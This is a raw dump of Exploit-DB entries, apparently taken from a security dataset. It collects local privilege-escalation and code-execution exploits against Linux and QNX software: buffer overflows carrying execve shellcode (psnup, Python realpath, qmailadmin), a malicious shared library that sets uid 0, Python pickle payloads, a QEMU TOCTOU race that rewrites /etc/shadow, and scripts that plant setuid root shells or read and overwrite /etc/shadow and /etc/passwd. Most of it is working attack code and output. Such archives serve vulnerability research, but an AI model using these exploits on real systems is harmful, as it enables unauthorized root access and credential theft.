deardaniel/secdata-raw huggingface dataset:
Exploit-DB #890
Description: PostScript Utilities - 'psnup' Local Buffer Overflow
Type: local
Platform: linux
Date: 2005-03-21
Author: lammat

Exploit:
#!/usr/bin/perl

#         PostScript Utilities - psnup  (all the utilities of the package are vulnerable) *
#      						 	                                  *	
#           written by lammat just for practice purposes                                  *
#                       tested against psutils-p17                                        *
# (gdb) r -8 `perl -e 'print "A"x250'`                                                    *
# The program being debugged has been started already.                                    *
# Start it from the beginning? (y or n) y                                                 *
# Starting program: /usr/bin/psnup -8 `perl -e 'print "A"x250'`                           *
# (no debugging symbols found).../usr/bin/psnup: can't open input file                    *
# AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA....                     *
#                                                                                         *
# Program received signal SIGSEGV, Segmentation fault.                                    *   
# 0x41414141 in ?? ()                                                                     *  

#  execve(/bin/sh) for linux x86
#   29 bytes
#   by Matias Sedalo


$shellcode = 
"\x31\xdb\x53\x8d\x43\x17\xcd\x80\x99\x68\x6e\x2f\x73\x68\x68".
"\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";

$len = 250;
$ret = 0xbffff3a0; 
$nop = "\x90";
$oops="/usr/bin/psnup";
$offset = 900; 

# offset bruteforce purposes below
if (@ARGV == 1) {
    $offset = $ARGV[0];}

for ($i=0; $i<($len-length($shellcode)-100);$i++)
	{$buffer .= $nop;
}

$buffer .= $shellcode;

print ("Address: 0x",sprintf('%lx',($ret + $offset)),"\n");

$new_ret = pack('l',($ret + $offset));

until(length($buffer)==$len)
{
$buffer.=$new_ret;
}
exec("$oops -8 $buffer");

# milw0rm.com [2005-03-21]
Exploit-DB #10038
Description: proc File - Descriptors Directory Permissions Bypass
Type: local
Platform: linux
Date: 2009-10-23
Author: Pavel Machek

Exploit:
Hi!

This is forward from lkml, so no, I did not invent this
hole. Unfortunately, I do not think lkml sees this as a security hole,
so...

Jamie Lokier said:
> > >  a) the current permission model under /proc/PID/fd has a security
> > >     hole (which Jamie is worried about)
> > 
> > I believe its bugtraq time. Being able to reopen file with additional
> > permissions looks like  a security problem...
> > 
> > Jamie, do you have some test script? And do you want your 15 minutes
> >  of bugtraq fame? ;-).

> The reopen does check the inode permission, but it does not require
> you have any reachable path to the file.  Someone _might_ use that as
> a traditional unix security mechanism, but if so it's probably quite rare.

Ok, I got this, with two users. I guess it is real (but obscure)
security hole.

So, we have this scenario. pavel/root is not doing anything interesting in
the background.

pavel@toy:/tmp$ uname -a
Linux toy.ucw.cz 2.6.32-rc3 #21 Mon Oct 19 07:32:02 CEST 2009 armv5tel GNU/Linux
pavel@toy:/tmp mkdir my_priv; cd my_priv
pavel@toy:/tmp/my_priv$ echo this file should never be writable > unwritable_file
# lock down directory
pavel@toy:/tmp/my_priv$ chmod 700 .
# relax file permissions, directory is private, so this is safe
# check link count on unwritable_file. We would not want someone 
# to have a hard link to work around our permissions, would we?
pavel@toy:/tmp/my_priv$ chmod 666 unwritable_file 
pavel@toy:/tmp/my_priv$ cat unwritable_file 
this file should never be writable
pavel@toy:/tmp/my_priv$ cat unwritable_file 
got you
# Security problem here

[Please pause here for a while before reading how guest did it.]

Unexpected? Well, yes, to me anyway. Linux specific? Yes, I think so.

So what did happen? User guest was able to work around directory
permissions in the background, using /proc filesystem.

guest@toy:~$ bash 3< /tmp/my_priv/unwritable_file 
# Running inside nested shell
guest@toy:~$ read A <&3
guest@toy:~$ echo $A
this file should never be writable

guest@toy:~$ cd /tmp/my_priv
guest@toy:/tmp/my_priv$ ls
unwritable_file

# pavel did chmod 000, chmod 666 here
guest@toy:/tmp/my_priv$ ls
ls: cannot open directory .: Permission denied

# Linux correctly prevents guest from writing to that file
guest@toy:/tmp/my_priv$ cat unwritable_file
cat: unwritable_file: Permission denied
guest@toy:/tmp/my_priv$ echo got you >&3
bash: echo: write error: Bad file descriptor

# ...until we take a way around it with /proc filesystem. Oops.
guest@toy:/tmp/my_priv$ echo got you > /proc/self/fd/3 

								Pavel
-- 
(english) http://www.livejournal.com/~pavelmachek
(cesky, pictures) http://atrey.karlin.mff.cuni.cz/~pavel/picture/horses/blog.html

----- End forwarded message -----

-- 
(english) http://www.livejournal.com/~pavelmachek
(cesky, pictures) http://atrey.karlin.mff.cuni.cz/~pavel/picture/horses/blog.html
Exploit-DB #3730
Description: ProFTPd 1.3.0/1.3.0a - 'mod_ctrls' exec-shield Local Overflow
Type: local
Platform: linux
Date: 2007-04-13
Author: Xpl017Elz

Exploit:
ProFTPD 1.3.0/1.3.0a (mod_ctrls) Local Overflow Exploit (exec-shield)

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/3730.tgz (04132007-pr0ftpd_modctrls.tgz)

# milw0rm.com [2007-04-13]
Exploit-DB #22773
Description: Progress Database 9.1 - Environment Variable Privilege Escalation
Type: local
Platform: linux
Date: 2003-06-14
Author: kf

Exploit:
// source: https://www.securityfocus.com/bid/7916/info

It has been reported that Progress database does not properly handle untrusted input when opening shared libraries. Specifically, the dlopen() function used by several Progress utilities checks the user's PATH environment variable when including shared object libraries. If any shared objects are found, Progress will load and execute them. Due to this, an attacker may be able to gain unauthorized privileges.

Any library code loaded will execute with elevated privileges. 

#include <stdio.h>
#include <string.h>

// If you wanted to get creative you can hack out some fake functions for
// use later ... but theres no need... just use _init

int ehnLogOpen(int argc, char * const argv[], const char *optstring) {
printf("This is a fake ehnLogOpen \n");
}
int ehnLogClose(int argc, char * const argv[], const char *optstring) {
printf("This is a fake ehnLogClose\n");
}

_init() {
setuid(0);
setgid(0);
printf("bullshit library loaded\n");
system("/usr/bin/id > /tmp/p00p");
system("cat /tmp/p00p");
}
Exploit-DB #9208
Description: PulseAudio setuid (Ubuntu 9.04 / Slackware 12.2.0) - Local Privilege Escalation
Type: local
Platform: linux
Date: 2009-07-20
Author: anonymous

Exploit:
PulseAudio setuid Local Privilege Escalation Vulnerability
https://www.securityfocus.com/bid/35721
Credit for discovery of bug: Tavis Ormandy, Julien Tinnes and 
Yorick Koster 
--

Put files in /tmp/pulseaudio-exp (or change config.h). Must be on 
same fs as the pulseaudio binary.

Goes faster if you already have a pulseaudio running ? :p

Tested with success on Ubuntu 9.04 (x86-64) and slackware 12.2.0 
(x86)

Ubuntu:
------------------------------------
$ ./c.sh
$ ./pulseaudio-exp 
Please wait.
[*] Seems we are uid = 0 and gid = 0
[*] mv /tmp/pulseaudio-exp/shell /sbin/axx
[*] chown root.root /sbin/axx
[*] chmod 4755 /sbin/axx
Try: /sbin/axx /bin/sh
$ /sbin/axx /bin/sh
# id
uid=0(root) gid=0(root) 
groups=4(adm),20(dialout),24(cdrom),46(plugdev),106(lpadmin),121(adm
in),122(sambashare)
# uname -a
Linux ubuntu 2.6.28-13-generic #45-Ubuntu SMP Tue Jun 30 22:12:12 
UTC 2009 x86_64 GNU/Linux
------------------------------------
Slackware
------------------------------------
$ ./c.sh 
$ ./pulseaudio-exp 
Please wait.
[*] Seems we are uid = 0 and gid = 0
[*] mv /tmp/pulseaudio-exp/shell /sbin/axx
[*] chown root.root /sbin/axx
[*] chmod 4755 /sbin/axx
Try: /sbin/axx /bin/sh
$ /sbin/axx /bin/sh
sh-3.1# id
uid=0(root) gid=0(root) groups=17(audio),100(users),104(pulse-rt)
sh-3.1# uname -a
Linux slackware 2.6.27.7-smp #2 SMP Thu Nov 20 22:32:43 CST 2008 
i686 Intel(R) Pentium(R) Dual  CPU  T3400  @ 2.16GHz 
GenuineIntel GNU/Linux
------------------------------------

download:  https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/9208.tar.gz (2009-pulseaudio-exp.tar.gz)

# milw0rm.com [2009-07-20]
Exploit-DB #21623
Description: Python 1.5.2 Pickle - Unsafe 'eval()' Code Execution
Type: local
Platform: linux
Date: 2002-07-17
Author: Jeff Epler

Exploit:
source: https://www.securityfocus.com/bid/5255/info

Python is an open source, object oriented programming language. The Python Pickle module is provided to convert object variables into a serialized form ("pickling"), and later recover the data back into an object hierarchy ("unpickling").

A vulnerability has been reported in the Pickle implementation included with some versions of Python. If malicious data is "unpickled", it may execute arbitrary Python commands. It is also possible to make system() calls.

Exploitation of this vulnerability will be highly dependent on a specific Python application which accepts a "pickle" string from an untrusted source. This behavior has been reported in some implementations of the Python SmartCookie class. 

"S''*__import__('os').system('echo 0wn3d')\np0\n."
Exploit-DB #21624
Description: Python 1.5/1.6/2.0/2.1.x - Pickle Class Constructor Arbitrary Code Execution
Type: local
Platform: linux
Date: 2002-07-17
Author: Jeff Epler

Exploit:
source: https://www.securityfocus.com/bid/5257/info


Python is an open source, object oriented programming language. The Python Pickle module is provided to convert object variables into a serialized form ("pickling"), and later recover the data back into an object hierarchy ("unpickling").

A vulnerability has been reported in the Pickle implementation included with some versions of Python. If specially crafted malicious object data is "unpickled", it may cause arbitrary Python commands to be executed, including system calls. This is accomplished by specifying an available function as the class constructor.

Exploitation of this vulnerability will be highly dependent on a specific Python application which accepts a pickle string from an untrusted source. This behavior has been reported in some implementations of the Python SmartCookie class.

import pickle, new

def nasty(module, function, *args):
return pickle.dumps(new.classobj(function, (), {
'__getinitargs__': lambda self, arg = args: arg,
'__module__': module
}) ())

# Create the evil pickle
t = nasty("__builtin__", "open", "/tmp/pickle-bug", "w")
# Show the user how it looks
print repr(t)
# Now, load the pickle -- creates the file /tmp/python-is-buggy (by calling
# the builtin open() function, then raises an exception. But the damage is
# done...
pickle.loads(t)
Exploit-DB #1591
Description: Python 2.4.2 - 'realpath()' Local Stack Overflow
Type: local
Platform: linux
Date: 2006-03-18
Author: Gotfault Security

Exploit:
#!/usr/bin/python
 
# gexp-python.py
# 
# Python <= 2.4.2 realpath() Local Stack Overflow
# -----------------------------------------------
# Against VA Space Randomization.
#
# Copyright (c) 2006 Gotfault Security
#
# Bug found and developed by: dx/vaxen (Gotfault Security),
#			      posidron (Tripbit Research Group).
# Enviroment:
#
# Kernel Version	 : 2.6.12.5-vs2.0
# GCC Version		 : 4.0.3
# Libc Version		 : 2.3.5
#
# Special greets goes to : posidron from tripbit.net
#			   RFDSLabs, barros, izik,
#			   Gotfault Security Community.
#
# Original Reference:
# http://gotfault.net/research/exploit/gexp-python.py

import os

# JMP *%ESP @ linux-gate.so.1
jmp    = "\x5f\xe7\xff\xff"

shell  = "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e"
shell += "\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3"
shell += "\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
shell += "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"

os.chdir("/tmp")
base = os.getcwd()
dir = os.path.join("A"*250, "A"*250, "A"*250, "A"*250, "A"*42, jmp+shell)
os.makedirs(dir)
os.chdir(dir)

os.system('> vuln.py; python vuln.py')
os.remove("vuln.py")
os.chdir(base)
os.removedirs(dir)

# milw0rm.com [2006-03-18]
Exploit-DB #39010
Description: QEMU (Gentoo) - Local Privilege Escalation
Type: local
Platform: linux
Date: 2015-12-17
Author: zx2c4

Exploit:
/* == virtfshell ==
 *
 * Some distributions make virtfs-proxy-helper from QEMU either SUID or
 * give it CAP_CHOWN fs capabilities. This is a terrible idea. While
 * virtfs-proxy-helper makes some sort of flimsy check to make sure
 * its socket path doesn't already exist, it is vulnerable to TOCTOU.
 *
 * This should spawn a root shell eventually on vulnerable systems.
 *
 * - zx2c4
 * 2015-12-12
 *
 *
 * zx2c4@thinkpad ~ $ lsb_release -i
 * Distributor ID: Gentoo
 * zx2c4@thinkpad ~ $ ./virtfshell 
 * == Virtfshell - by zx2c4 ==
 * [+] Trying to win race, attempt 749
 * [+] Chown'd /etc/shadow, elevating to root
 * [+] Cleaning up
 * [+] Spawning root shell
 * thinkpad zx2c4 # whoami
 * root
 *
 */

#include <stdio.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/inotify.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>


static int it_worked(void)
{
	struct stat sbuf = { 0 };
	stat("/etc/shadow", &sbuf);
	return sbuf.st_uid == getuid() && sbuf.st_gid == getgid();
}

int main(int argc, char **argv)
{
	int fd;
	pid_t pid;
	char uid[12], gid[12];
	size_t attempts = 0;

	sprintf(uid, "%d", getuid());
	sprintf(gid, "%d", getgid());

	printf("== Virtfshell - by zx2c4 ==\n");

	printf("[+] Beginning race loop\n");

	while (!it_worked()) {
		printf("\033[1A\033[2K[+] Trying to win race, attempt %zu\n", ++attempts);
		fd = inotify_init();
		unlink("/tmp/virtfshell/sock");
		mkdir("/tmp/virtfshell", 0777);
		inotify_add_watch(fd, "/tmp/virtfshell", IN_CREATE);
		pid = fork();
		if (pid == -1)
			continue;
		if (!pid) {
			close(0);
			close(1);
			close(2);
			execlp("virtfs-proxy-helper", "virtfs-proxy-helper", "-n", "-p", "/tmp", "-u", uid, "-g", gid, "-s", "/tmp/virtfshell/sock", NULL);
			_exit(1);
		}
		read(fd, 0, 0);
		unlink("/tmp/virtfshell/sock");
		symlink("/etc/shadow", "/tmp/virtfshell/sock");
		close(fd);
		kill(pid, SIGKILL);
		wait(NULL);
	}

	printf("[+] Chown'd /etc/shadow, elevating to root\n");

	system(	"cp /etc/shadow /tmp/original_shadow;"
		"sed 's/^root:.*/root::::::::/' /etc/shadow > /tmp/modified_shadow;"
		"cat /tmp/modified_shadow > /etc/shadow;"
		"su -c '"
		"	echo [+] Cleaning up;"
		"	cat /tmp/original_shadow > /etc/shadow;"
		"	chown root:root /etc/shadow;"
		"	rm /tmp/modified_shadow /tmp/original_shadow;"
		"	echo [+] Spawning root shell;"
		"	exec /bin/bash -i"
		"'");
	return 0;
}
Exploit-DB #21683
Description: qmailadmin 1.0.x - Local Buffer Overflow
Type: local
Platform: linux
Date: 2002-08-06
Author: Thomas Cannon

Exploit:
/*
source: https://www.securityfocus.com/bid/5404/info

The qmailadmin utility, developed by Inter7, is vulnerable to a buffer overflow condition. It is meant to run as a CGI program and is typically installed setuid (owned by root on some systems, regular users on others). qmailadmin fails to implement adequate bounds checking when processing an environment variable, resulting in a buffer overrun condition. 

It is likely that this can be exploited by malicious local users to elevate privileges.
*/

/* http://www.badc0ded.com (bug found by Thomas Cannon)
 / bash-2.05a$ ./qmailadmin-exp
 / Content-Type: text/html
 / $ id
 / uid=1000(dim) euid=89(vpopmail) gid=1000(dim) egid=89(vchkpw) groups=89(vchkpw), 1000(dim), 0(wheel)
 / $ 
*/


char shellcode[]=          /* 23 bytes                       */
    "\x31\xc0"             /* xorl    %eax,%eax              */
    "\x50"                 /* pushl   %eax                   */
    "\x68""//sh"           /* pushl   $0x68732f2f            */
    "\x68""/bin"           /* pushl   $0x6e69622f            */
    "\x89\xe3"             /* movl    %esp,%ebx              */
    "\x50"                 /* pushl   %eax                   */
    "\x54"                 /* pushl   %esp                   */
    "\x53"                 /* pushl   %ebx                   */
    "\x50"                 /* pushl   %eax                   */
    "\xb0\x3b"             /* movb    $0x3b,%al              */
    "\xcd\x80"             /* int     $0x80                  */
;

main ()
{
   char buf[16000];
   int i;
   memset(buf,0,sizeof(buf));
   memset(buf,0x90,5977); 
   strcat(buf,shellcode);

   for (i=0;i<=2203;i++)
     strcat(buf,"\xd8\xef\x06\x08");   // lang_fs magic..
   strcat (buf,"\xf1\xcb\xbf\xbf");	// ret..
   setenv("QMAILADMIN_TEMPLATEDIR",buf);
   execlp("/usr/local/www/cgi-bin.default/qmailadmin/qmailadmin","qmailadmin",0);
   
   
}
Exploit-DB #39112
Description: QNX - '.Phgrafx' File Enumeration
Type: local
Platform: linux
Date: 2014-03-10
Author: cenobyte

Exploit:
source: www.securityfocus.com/bid/66098/info

QNX Phgrafx is prone to a file-enumeration weakness.

An attacker can exploit this issue to enumerate the files present in the system's root directory; this may aid in further attacks.

QNX 6.5.0 SP1, 6.5.0, 6.4.1, 6.3.0, and 6.2.0 are vulnerable; other versions may also be affected. 

$ id
uid=100(user) gid=100

# directory /root/.ph exists:
$ /usr/photon/bin/phgrafx -d /root/.ph
load_display_conf(): No such file or directory

# file /root/.profile exsts:
$ /usr/photon/bin/phgrafx -d /root/.profile
/root/.profile: opendir(): Not a directory
load_display_conf(): Not a directory

# /root/doesnotexist does not exist:
$ /usr/photon/bin/phgrafx -d /root/doesnotexist
/root/doesnotexist: opendir(): No such file or directory
load_display_conf(): No such file or directory
Exploit-DB #21507
Description: QNX 6.x - 'ptrace()' Arbitrary Process Modification
Type: local
Platform: linux
Date: 2002-06-03
Author: badc0ded

Exploit:
source: https://www.securityfocus.com/bid/4919/info

The QNX implementation of 'ptrace()' is reportedly insecure. An unprivileged process may attach to a setuid program without restriction. Since the attaching process may view or edit memory, an attacker may exploit this issue to escalate privileges.

This issue affects QNX RTOS 6 prior to 6.4.0. 

#!/bin/sh

#include <std_shouts.h>
#include <std_disclaimer.h>
#http://www.badc0ded.com 

echo "#!/bin/sh" > /tmp/runme
echo cp /bin/sh /tmp/sh > /tmp/runme
echo chmod 4755 /tmp/sh >> /tmp/runme
chmod 755 /tmp/runme
echo r root -c /tmp/runme > /tmp/badc0ded
echo break *main+44 >> /tmp/badc0ded
echo c >> /tmp/badc0ded
echo "call setuid(0)" >> /tmp/badc0ded
echo c >> /tmp/badc0ded
gdb /bin/su  < badc0ded > /dev/null
echo "www.badc0ded.com"
sleep 1
rm /tmp/runme /tmp/badc0ded
/tmp/sh
Exploit-DB #24570
Description: QNX PPPoEd 2.4/4.25/6.2 - Path Environment Variable Local Command Execution
Type: local
Platform: linux
Date: 2004-09-03
Author: Julio Cesar Fort

Exploit:
source: https://www.securityfocus.com/bid/11105/info

QNX PPoEd is reported prone to a problem that exists in the handling of paths to external executables that are employed by PPPoEd. Because of this, an attacker may be able to gain elevated privileges on a host with a vulnerable version of PPPoEd installed.

$ cd /tmp
$ cat << _EOF_ > mount
#!/bin/sh
cp /bin/sh /tmp/rootshell
chown root /tmp/rootshell
chmod 4777 /tmp/rootshell
echo "Here comes your root shell"
_EOF_

$ chmod 755 mount
$ export PATH=/tmp:$PATH
$ /usr/sbin/pppoed
$ ls -la /tmp
-rwxr-xr-x 1 sandimas users 88 Aug 25 2004 mount
-rwsrwxrwx 1 root 100 153384 Jun 22 2001 /tmp/rootshell
$ /tmp/rootshell
Here comes your root shell
# uname -a
QNX sandimas 6.1.0 2001/06/25-15:31:48 edt x86pc x86
#
Exploit-DB #22212
Description: QNX RTOS 2.4 - File Disclosure
Type: local
Platform: linux
Date: 2001-04-21
Author: teknophreak

Exploit:
source: https://www.securityfocus.com/bid/6751/info

A vulnerability has been discovered in QNX Real-Time Operating System. It has been reported that an unauthorized user may access arbitrary files. This is possible by requesting the file through the location that the FAT partition is mounted to. Accessing files in this manner ignores all permissions set by the operating system.

example: cat /fs-dos/linux/etc/shadow
Exploit-DB #21499
Description: QNX RTOS 4.25 - 'CRTTrap' File Disclosure
Type: local
Platform: linux
Date: 2002-05-31
Author: Simon Ouellette

Exploit:
source: https://www.securityfocus.com/bid/4901/info

The QNX RTOS crttrap binary includes a command-line option for specifying a configuration file. crttrap is installed setuid by default. crttrap Local attackers may specify an arbitrary system file in place of the configuration file and crttrap will disclose the contents of the arbitrary file. 

crttrap -c /etc/shadow
Exploit-DB #21501
Description: QNX RTOS 4.25 - dumper Arbitrary File Modification
Type: local
Platform: linux
Date: 2002-05-31
Author: Simon Ouellette

Exploit:
source: https://www.securityfocus.com/bid/4904/info

When creating memory dump files, the QNX RTOS debugging utility 'dumper' follows symbolic links. It also sets ownership of the file to the userid of the terminated process. It is possible for malicious local attackers to exploit this vulnerability to overwrite and gain ownership of arbitrary files. Consequently, attackers may elevate to root privileges by modifying files such as '/etc/passwd'. 

Example exploit, with /bin/dumper:

Let EVIL be the unprivileged user who wants to gain root access.

#link to the passwd file: dumper dumps to [process name].dmp
$ ln /etc/passwd /home/EVIL/ksh.dmp
#call the program that will attempt to write to the hard link
$ dumper -d /home/EVIL -p [PID of EVIL's ksh]
#have dumper do its job by terminating the monitored process
$ exit
#at this point, /etc/passwd is overwritten by the binary dump, and more
importantly: EVIL is now the owner !
$ echo root::0:0::///:/bin/sh > /etc/passwd
#but now no login works because /etc/passwd is not owned by userid 0. #So
you do:

$ passwd

#and change your password. This gives /etc/passwd ownership back to root,
keeping the modifications you have made.

$ su
#
Exploit-DB #21500
Description: QNX RTOS 4.25 - monitor Arbitrary File Modification
Type: local
Platform: linux
Date: 2002-05-31
Author: Simon Ouellette

Exploit:
source: https://www.securityfocus.com/bid/4902/info

The QNX RTOS monitor utility is prone to an issue which may allow local attackers to modify arbitrary system files (such as /etc/passwd). monitor is installed setuid root by default.

The monitor -f command line option may be used by a local attacker to cause an arbitrary system file to be overwritten. Once overwritten, the attacker will gain ownership of the file.

monitor -f /etc/passwd
Exploit-DB #21503
Description: QNX RTOS 4.25/6.1 - 'phgrafx' Local Privilege Escalation
Type: local
Platform: linux
Date: 2002-06-03
Author: badc0ded

Exploit:
source: https://www.securityfocus.com/bid/4915/info

The QNX phgrafx utility is prone to an issue which may make it possible for local attackers to escalate privileges. This issue is due to unsafe use of the system() function to invoke other programs. This vulnerability may be trivially exploited to gain root privileges.

#!/bin/sh
#
# click advanced,done, apply, accept and done. 
# now you should have a setuid root shell waiting in /tmp/badc0ded
#
# www.badc0ded.com
echo "#!/bin/sh" > /tmp/crttrap
echo "cp /bin/sh /tmp/badc0ded" >> /tmp/crttrap
echo "chmod 4777 /tmp/badc0ded" >> /tmp/crttrap
echo "/usr/bin/crttrap \$1 \$2 \$3 \$4 \$5 \$6 \$7 \$8 \$9 " >> /tmp/crttrap
chmod 755 /tmp/crttrap
export PATH="/tmp:$PATH"
/usr/photon/bin/phgrafx